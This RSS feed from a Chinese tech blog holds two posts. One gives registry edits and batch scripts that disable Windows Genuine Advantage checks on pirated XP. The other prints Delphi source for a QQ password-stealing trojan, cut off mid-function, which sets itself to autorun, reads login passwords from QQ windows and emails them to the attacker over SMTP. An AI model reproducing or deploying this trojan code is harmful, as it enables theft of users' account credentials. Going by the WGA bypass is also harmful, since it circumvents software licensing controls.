<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[一起奔腾 - 技术文章]]></title>
<link>http://www.17benteng.com/</link>
<description><![CDATA[IIS防盗链|防盗链软件|防SQL注入|音乐防盗链|mp3防盗链|rm防盗链|图片防盗链]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[7180001@qq.com(奔腾的心)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>一起奔腾</title>
	<url>http://www.17benteng.com/images/logos.gif</url>
	<link>http://www.17benteng.com/</link>
	<description>一起奔腾</description>
</image>

			<item>
			<link>http://www.17benteng.com/article.asp?id=81</link>
			<title><![CDATA[盗版微软XP系统防止20号出现黑屏及出现黑屏后的解决办法]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Thu,16 Oct 2008 15:43:42 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=81</guid>
		<description><![CDATA[　　10月20日微软将在中国再次对盗版WindowsXP进行打击，并首次对盗版Office进行验证，装有盗版Windows　XP及Office将被强制插入多处明显的提醒标识。除不断弹出提醒盗版用户正在使用盗版软件外，微软还将采取黑屏等手段来打击盗版软件。<br/><br/>　　据了解，为打击盗版，微软一直在寻求解决方法，包括联合相关版权部门打击盗版，不过收获甚小。2007年3月微软在中国推出Windows正版增值计划（WGA通知），同时Office的正版增值计划OGA也是首次在国内发布。其中WGA针对Windows　XP专业版的用户，OGA针对Office　XP、Office　2003和Office　2007的用户，这两个通知可通过软件升级自动下载到用户电脑中。<br/>　<br/>　　“这两个验证工具，可以自动检测验证用户电脑上安装的Windows　XP和Office是否为正版软件，如果是使用的盗版软件，则会不断收到提示信息，还将频繁遭遇黑屏。”微软相关负责人向记者表示。　<br/><br/>　　据微软相关负责人透露，此次涉及到的使用盗版软件遭遇黑屏主要是指，在收到提示后的盗版用户电脑界面将出现黑色背景，但不影响其他使用功能，用户可以通过手动调回，不过该黑色背景会每60分钟出现一次。<br/><br/><br/>方法一：<br/><br/>关闭自动更新(需要升级xp系统补丁的话，我们可以利用360安全卫士等第三方软件来升级)<br/><br/>具体操作为：右键单击“我的电脑”-“属性” ，在系统属性窗口中选择“自动更新”选项卡，在“通知设置”一栏选择“关闭自动更新”一项。<br/><br/>方法二：<br/><br/>第二，“我的电脑”点右键，选“管理”，点左边“服务和应用程序”旁的加号，展开，点“服务”。<br/>或者直接在“运行”中输入“Services.msc”打开服务设置窗口。<br/>在“服务”列表中，找到“AutomaticUp&#100;ates”这一项，双击，弹出的属性窗口中，“启动类型”设置为“已禁用”，确定即可。<br/><br/><br/>方法三：<br/><br/>开始-运行-输入REGEDIT回车，在左边栏中找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\NotifyWgaLogon项，将整个WgaLogon项删除即可。以上为经过测试的最简便方法。<br/><br/>这次的WGA与上次相比只增加了LegitCheckControl.dll，主要执行方式（通过WINLOGON加载）未变。显然微软此举可归为常规性不定期“恐吓”，此举也是对于盗版的无奈。<br/><br/>方法四：<br/><br/>@echo off<br/>sc stop wuauserv<br/>sc config wuauserv start= disabled<br/><br/>另存为bat格式的文件后运行。<br/><br/> <br/><br/>如果20号以后出现每小时黑屏一次的情况，用下面的方法：<br/><br/>@echo off<br/>sfc /purgecache<br/>reg del&#101;te &#34;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Wgalogon&#34; /f<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\Windows\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\Windows\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\Windows\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\Windows\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\WINNT\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\WINNT\system32\WgaTray.exe /f /q<br/>taskkill /f /im WgaTray.exe /T<br/>del c:\WINNT\system32\WgaTray.exe /f /q<br/>echo. &amp; pause<br/>把上面的复制到记事本里保存,把记事本的后缀TXT改成BAT,然后运行.<br/>此方法供给大家参考.<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=68</link>
			<title><![CDATA[QQ木马delphi源码]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Wed,23 Jul 2008 20:31:37 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=68</guid>
		<description><![CDATA[unit GCommonMethods;<br/><br/>{$I Complier.inc}<br/><br/>interface<br/><br/>uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;<br/><br/>procedure Cr&#101;ateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);<br/>procedure ApplicationRun(hWindow: HWND);<br/>procedure ReadSelfDataAppendedInExeFile;<br/><br/><br/>implementation<br/><br/>var<br/>&nbsp;&nbsp; IsFind: Boolean = True;<br/><br/>procedure ReadSelfDataAppendedInExeFile;<br/>var<br/>&nbsp;&nbsp; ExeFile: integer;<br/>&nbsp;&nbsp; EmailInfo: TEmailInfo;<br/>begin<br/>&nbsp;&nbsp; try<br/>&nbsp;&nbsp;&nbsp;&nbsp; ExeFile := FileOpen(ParamStr(0), fmOpenRead o&#114; fmShareDenyNone);<br/>&nbsp;&nbsp;&nbsp;&nbsp; FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);<br/>&nbsp;&nbsp;&nbsp;&nbsp; FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));<br/>&nbsp;&nbsp;&nbsp;&nbsp; EmailRecever := EmailInfo.Receveer;<br/>&nbsp;&nbsp;&nbsp;&nbsp; EmailSubject := EmailInfo.Subject;<br/>&nbsp;&nbsp;&nbsp;&nbsp;// MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), &#39;提示&#39;, MB_OK + MB_ICONINFORMATION);<br/>&nbsp;&nbsp; finally<br/>&nbsp;&nbsp;&nbsp;&nbsp; FileClose(ExeFile);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>//--------------------------------------------------------------------<br/>//设置程序自动运行,为了减少程序的体积,采用API函数写注册表<br/><br/>procedure SetAutoRun;<br/>var<br/>&nbsp;&nbsp; k1: hkey;<br/>&nbsp;&nbsp; l: longint;<br/>&nbsp;&nbsp; p: pchar;<br/>begin<br/>&nbsp;&nbsp; try<br/>&nbsp;&nbsp; {$IFNDEF DebugMode}<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regopenkey(HKEY_LOCAL_MACHINE, &#39;SOFTWARE&#39;, k1);<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regopenkey(k1, &#39;Microsoft&#39;, k1);<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regopenkey(k1, &#39;Windows&#39;, k1);<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regopenkey(k1, &#39;CurrentVersion&#39;, k1);<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regopenkey(k1, &#39;Run&#39;, k1);<br/>&nbsp;&nbsp;&nbsp;&nbsp; p := pchar(ParamStr(0));<br/>&nbsp;&nbsp;&nbsp;&nbsp; l := regsetvalueEx(k1, &#39;SysDesktop&#39;, 0, 1, p, 255);<br/>&nbsp;&nbsp; {$ENDIF}<br/>&nbsp;&nbsp; except<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/><br/>procedure RunExeAgainAndKillSelf(hWindows: HWND);<br/>begin<br/>&nbsp;&nbsp; {$IFNDEF DebugMode}<br/>&nbsp;&nbsp; winexec(pchar(ExtractFilePath(ParamStr(0))), 1);<br/>&nbsp;&nbsp; KillTimer(hWindows, 1);<br/>&nbsp;&nbsp; {$ENDIF}<br/>&nbsp;&nbsp; Halt;<br/>end;<br/><br/>procedure DoTimeMethod(hWnd: HWND);<br/>begin<br/>&nbsp;&nbsp; SetAutoRun;<br/>&nbsp;&nbsp; if IsFind then //计时器处于查找QQ窗口...<br/>&nbsp;&nbsp;&nbsp;&nbsp; FindQQWindowForAnyVersion(hWnd, IsFind);<br/>&nbsp;&nbsp; if not IsFind then //计时器处于监视号码和密码...<br/>&nbsp;&nbsp;&nbsp;&nbsp; GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)<br/>&nbsp;&nbsp; else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; isFind := true;<br/>&nbsp;&nbsp;&nbsp;&nbsp; SendMail;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;<br/>begin<br/>&nbsp;&nbsp; Result := DefWindowProc(hWnd, uMsg, wParam, lParam);<br/>&nbsp;&nbsp; case uMsg of<br/>&nbsp;&nbsp;&nbsp;&nbsp; //退出<br/>&nbsp;&nbsp;&nbsp;&nbsp; WM_DESTROY:RunExeAgainAndKillSelf(hWnd);<br/>&nbsp;&nbsp; //计时器消息<br/>&nbsp;&nbsp;&nbsp;&nbsp; WM_TIMER: DoTimeMethod(hWnd);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>procedure Cr&#101;ateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);<br/>var<br/>&nbsp;&nbsp; WinClass: TWndClassA;<br/>&nbsp;&nbsp; Inst: THandle;<br/>begin<br/>&nbsp;&nbsp; Inst := hInst;<br/>&nbsp;&nbsp; with WinClass do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; style := CS_CLASSDC o&#114; CS_PARENTDC;<br/>&nbsp;&nbsp;&nbsp;&nbsp; lpfnWndProc := @WindowProc;<br/>&nbsp;&nbsp;&nbsp;&nbsp; hInstance := Inst;<br/>&nbsp;&nbsp;&nbsp;&nbsp; hbrBackground := color_btnface + 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp; lpszClassname := PChar(ClassName);<br/>&nbsp;&nbsp;&nbsp;&nbsp; hCursor := LoadCursor(0, IDC_ARROW);<br/>&nbsp;&nbsp; end; { with }<br/>&nbsp;&nbsp; RegisterClass(WinClass);<br/>&nbsp;&nbsp; OutHandle := Cr&#101;ateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),<br/>&nbsp;&nbsp;&nbsp;&nbsp; WS_SIZEBOX o&#114; WS_CAPTION o&#114; WS_SYSMENU o&#114; WS_VISIBLE,<br/>&nbsp;&nbsp;&nbsp;&nbsp; 363, 278, 305, 65, 0, 0, Inst, nil);<br/>end;<br/><br/>procedure ApplicationRun(hWindow: HWND);<br/>var<br/>&nbsp;&nbsp; Msg: TMsg;<br/>begin<br/>&nbsp;&nbsp; while (GetMessage(Msg, hWindow, 0, 0)) do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; TranslateMessage(msg);<br/>&nbsp;&nbsp;&nbsp;&nbsp; DispatchMessage(msg);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/><br/>end.<br/><br/>另一个单元<br/><br/>unit GNetMethods;<br/><br/>//{$I Complier.inc}<br/><br/>interface<br/>uses<br/>&nbsp;&nbsp; Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};<br/><br/>procedure SendMail;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //发送邮件<br/>function NetInternetConnected: Boolean;<br/><br/>implementation<br/><br/>function NetInternetConnected: Boolean;<br/>var<br/>dwConnectionTypes: DWORD;&nbsp;&nbsp; //值<br/>begin<br/>&nbsp;&nbsp; dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM<br/>&nbsp;&nbsp;&nbsp;&nbsp; + INTERNET_CONNECTION_PROXY;<br/>&nbsp;&nbsp; Result := InternetGetConnectedState(@dwConnectionTypes, 0);<br/>end;<br/><br/>function EncodeBase64(const Source: string): string;<br/>var<br/>&nbsp;&nbsp; Times, LenSrc, i: Integer;<br/>&nbsp;&nbsp; x1, x2, x3, x4: Char;<br/>&nbsp;&nbsp; xt: Byte;<br/>begin<br/>&nbsp;&nbsp; Result := &#39;&#39;;<br/>&nbsp;&nbsp; LenSrc := Length(Source);<br/>&nbsp;&nbsp; if LenSrc mod 3 = 0 then<br/>&nbsp;&nbsp;&nbsp;&nbsp; Times := LenSrc div 3<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp; Times := LenSrc div 3 + 1;<br/><br/>&nbsp;&nbsp; for i := 0 to Times - 1 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; if LenSrc &gt;= (3 + i * 3) then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (ord(Source[1 + i * 3]) shl 4) and 48;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := xt o&#114; (ord(Source[2 + i * 3]) shr 4);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x2 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (Ord(Source[2 + i * 3]) shl 2) and 60;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := xt o&#114; (Ord(Source[3 + i * 3]) shr 6);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x3 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (ord(Source[3 + i * 3]) and 63);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x4 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp; end<br/>&nbsp;&nbsp;&nbsp;&nbsp; else if LenSrc &gt;= (2 + i * 3) then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (Ord(Source[1 + i * 3]) shl 4) and 48;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := xt o&#114; (Ord(Source[2 + i * 3]) shr 4);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x2 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (Ord(Source[2 + i * 3]) shl 2) and 60;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x3 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x4 := &#39;=&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end else<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xt := (Ord(Source[1 + i * 3]) shl 4) and 48;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x2 := BaseTable[xt + 1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x3 := &#39;=&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x4 := &#39;=&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; Result := Result + x1 + x2 + x3 + x4;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>// Write_Socket函数<br/><br/>function Write_Socket(sockfd: TSocket; const s: string): Integer;<br/>//功能:将字符串S写入sockfd<br/>begin<br/>//&nbsp;&nbsp; form1.Memo1.Lines.Add(s);<br/>&nbsp;&nbsp; Result := Send(sockfd, pointer(s)^, Length(s), 0)<br/>end;<br/><br/>// Socket_Readline函数<br/><br/>function Socket_Readline(sockfd: Integer): string;<br/>//功能:从sockfd中读取一行(即,直至遇到换行符)。<br/>//返回值:返回从sockfd中所读取的一行字符。<br/>var<br/>&nbsp;&nbsp; S: string; buf: array[0..1] of Char;<br/>&nbsp;&nbsp; n: Cardinal;<br/>begin<br/>&nbsp;&nbsp; buf[0] := #0; buf[1] := #0; S := &#39;&#39;;<br/>&nbsp;&nbsp; n := recv(sockfd, Buf, 1, 0);<br/>&nbsp;&nbsp; while n &gt; 0 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; buf[1] := #0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; S := S + buf;<br/>&nbsp;&nbsp;&nbsp;&nbsp; if (buf[0] = #10) then Break;<br/>&nbsp;&nbsp;&nbsp;&nbsp; n := recv(sockfd, buf, 1, 0);<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Result := Trim(S);<br/>// form1.memo1.Lines.Add(trim(S));<br/>end;<br/><br/>function Cr&#101;ateClientSocket(Host: string; Port: integer): Integer;<br/>//功能:与指定的主机Host建立一个TCP连接,使用Port端口。<br/>//返回值:如果成功返回一个Socket描述符;否则返回<br/>//INVALID_SOCKET<br/>var<br/>&nbsp;&nbsp; i: integer; p: ^LongInt;<br/>&nbsp;&nbsp; phe: pHostEnt;<br/>&nbsp;&nbsp; sin: sockaddr_in;<br/>begin<br/>&nbsp;&nbsp; Result := INVALID_SOCKET;<br/>&nbsp;&nbsp; sin.sin_family := AF_INET;<br/>&nbsp;&nbsp; sin.sin_port := htons(Port);<br/>&nbsp;&nbsp; //将主机名转换为32位的IP<br/>&nbsp;&nbsp; phe := gethostbyname(pchar(host));<br/>&nbsp;&nbsp; if phe &lt;&gt; nil<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; p := Pointer(phe^.h_addr_list^);<br/>&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr := p^;<br/>&nbsp;&nbsp; end<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; i := inet_addr(PChar(Host));<br/>&nbsp;&nbsp;&nbsp;&nbsp; if i &lt;&gt; -1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; then sin.sin_addr.S_addr := i<br/>&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //无法获取主机Host的IP<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; //创建一个面向连接的字节流Socket<br/>&nbsp;&nbsp; Result := socket(PF_INET, SOCK_STREAM, 0);<br/>&nbsp;&nbsp; if (Result = INVALID_SOCKET) then Exit;<br/>&nbsp;&nbsp; //使用此Socket描述符与远处的主机建立一个TCP连接<br/>&nbsp;&nbsp; if Connect(Result, sin, sizeof(sin)) = SOCKET_ERROR<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; closesocket(Result);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Result := INVALID_SOCKET;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>// POP3Response函数<br/><br/>function SMTPResponse(Sockfd: Integer; sta: string): Boolean;<br/>//功能:检查SMTP服务器返回的状态信息。<br/>//返回值:如果成功,则返回TRUE;否则返回FALSE。<br/>var<br/>&nbsp;&nbsp; S, lterm: string;<br/>begin<br/>&nbsp;&nbsp; S := socket_readline(sockfd);<br/>&nbsp;&nbsp; if copy(s, 1, 3) = sta<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp;&nbsp;&nbsp; result := true<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp; result := false;<br/>&nbsp;&nbsp; if length(s) &gt; 3 then begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; if s[4] = &#39;-&#39; then begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lterm := copy(s, 1, 3) + &#39; &#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repeat<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s := socket_readline(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; until (length(s) &lt; 4) o&#114; (ansisametext(copy(s, 1, 4), lterm));<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;<br/>var<br/>&nbsp;&nbsp; Sockfd: Integer;<br/>begin<br/>&nbsp;&nbsp; Result := INVALID_SOCKET;<br/>&nbsp;&nbsp; Sockfd := Cr&#101;ateClientSocket(Host, Port);<br/>&nbsp;&nbsp; if (Sockfd = INVALID_SOCKET)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(Sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; SMTPresponse(sockfd, &#39;220&#39;);<br/>&nbsp;&nbsp; write_socket(sockfd, &#39;EHLO &#39; + user + CRLF);<br/>&nbsp;&nbsp; SMTPresponse(sockfd, &#39;250&#39;);<br/>&nbsp;&nbsp; Write_socket(sockfd, &#39;RSET&#39; + CRLF);<br/>&nbsp;&nbsp; SMTPresponse(sockfd, &#39;250&#39;);<br/>&nbsp;&nbsp; Write_Socket(sockfd, &#39;AUTH LOGIN&#39; + CRLF);<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;334&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Write_Socket(sockfd, EncodeBase64(User) + CRLF);<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;334&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Write_Socket(sockfd, EncodeBase64(password) + CRLF);<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;235&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Result := Sockfd;<br/>end;<br/><br/>function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail<br/>var<br/>&nbsp;&nbsp; sockfd: integer;<br/>&nbsp;&nbsp; sendbody {, S}: string;<br/>&nbsp;&nbsp; //ok: boolean;<br/>begin<br/>&nbsp;&nbsp; Result := &#39;&#39;;<br/>&nbsp;&nbsp; SendBody := &#39;From:&#34;会员版&#34;&lt;&#39;+Email.name+&#39;&gt;&#39; + CRLF<br/>&nbsp;&nbsp;&nbsp;&nbsp; + &#39;To:&#34;主人&#34;&lt;&#39; + Receive + &#39;&gt;&#39; + CRLF<br/>&nbsp;&nbsp;&nbsp;&nbsp; + &#39;Subject:&#39; + Subject + CRLF<br/>&nbsp;&nbsp;&nbsp;&nbsp; + CRLF<br/>&nbsp;&nbsp;&nbsp;&nbsp; + Body + CRLF + &#39;.&#39; + CRLF; //这是邮件内容。<br/>&nbsp;&nbsp;&nbsp;&nbsp; Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);<br/>&nbsp;&nbsp; if Sockfd = INVALID_SOCKET then Exit;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Write_Socket(sockfd, &#39;MAIL FROM: &lt;&#39;+ Email.name+&#39;&gt;&#39;+ CRLF);<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;250&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Write_Socket(sockfd, &#39;RCPT TO: &lt;&#39; + Receive + &#39;&gt;&#39; + CRLF); //&#39;+user+&#39;<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;250&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Write_Socket(sockfd, &#39;DATA&#39; + CRLF);<br/>&nbsp;&nbsp; if not SMTPResponse(sockfd, &#39;354&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; CloseSocket(sockfd);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br/>&nbsp;&nbsp; end<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; Write_Socket(sockfd, sendbody);<br/>&nbsp;&nbsp;&nbsp;&nbsp; SMTPresponse(sockfd, &#39;110&#39;);<br/>&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; Write_Socket(sockfd, &#39;QUIT&#39;#13#10);<br/>&nbsp;&nbsp; smtpresponse(sockfd, &#39;quit&#39;);<br/>&nbsp;&nbsp; Closesocket(sockfd);<br/>end;<br/><br/><br/>procedure SendMail;<br/>var<br/>&nbsp;&nbsp; w: TWSADATA;<br/>&nbsp;&nbsp; r,count:integer;<br/>begin<br/>&nbsp;&nbsp; if EmailBody &lt;&gt; &#39;&#39; then<br/>&nbsp;&nbsp; try<br/>&nbsp;&nbsp;&nbsp;&nbsp; EmailBody := &#39;******正确的密码可能是最后一对******&#39; + CRLF + CRLF + EmailBody + CRLF + CRLF + &#39;希望您早日成为我们的会员,祝你使用快乐! &#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;// MessageBox(0, pchar(EmailBody), &#39;提示&#39;, MB_OK + MB_ICONINFORMATION);<br/>&nbsp;&nbsp;&nbsp;&nbsp; count:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; repeat r:=WSAStartup(2, w);<br/>&nbsp;&nbsp;&nbsp;&nbsp; inc(count);<br/>&nbsp;&nbsp;&nbsp;&nbsp; until (r=0)or(count&gt;5);<br/>&nbsp;&nbsp;&nbsp;&nbsp; POP3RetriveMail(&#39;QQ密码&#39;, EmailBody,newQQID);//oiwin@263.net<br/>&nbsp;&nbsp;&nbsp;&nbsp; count:=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; repeat r:=WSAStartup(2, w);<br/>&nbsp;&nbsp;&nbsp;&nbsp; inc(count);<br/>&nbsp;&nbsp;&nbsp;&nbsp; until (r=0)or(count&gt;5);<br/>&nbsp;&nbsp;&nbsp;&nbsp; POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);<br/>&nbsp;&nbsp; except<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>end.<br/><br/><br/>再另一个单元<br/><br/>unit GQQFindMethods;<br/><br/>{$I Complier.inc}<br/><br/>interface<br/><br/>uses Windows, SysUtils, GConsts, GNetMethods; //Types,<br/><br/>procedure GoOnMonitorPasswordAndQQNumber;<br/>procedure FindQQWindowForAnyVersion;<br/><br/>implementation<br/><br/>//--------------------------------------------------------------------<br/>//读取指定句柄的TEXT<br/><br/>function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;<br/>const MAX_LENGTH = 255;<br/>var<br/>&nbsp;&nbsp; iPwdChar: Integer;<br/>&nbsp;&nbsp; iPwdLast: Integer;<br/>&nbsp;&nbsp; psText: array[0..MAX_LENGTH] of char;<br/>&nbsp;&nbsp; i: Integer;<br/>begin<br/>&nbsp;&nbsp; iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);<br/>&nbsp;&nbsp; if (iPwdChar &lt;&gt; 0) then // and 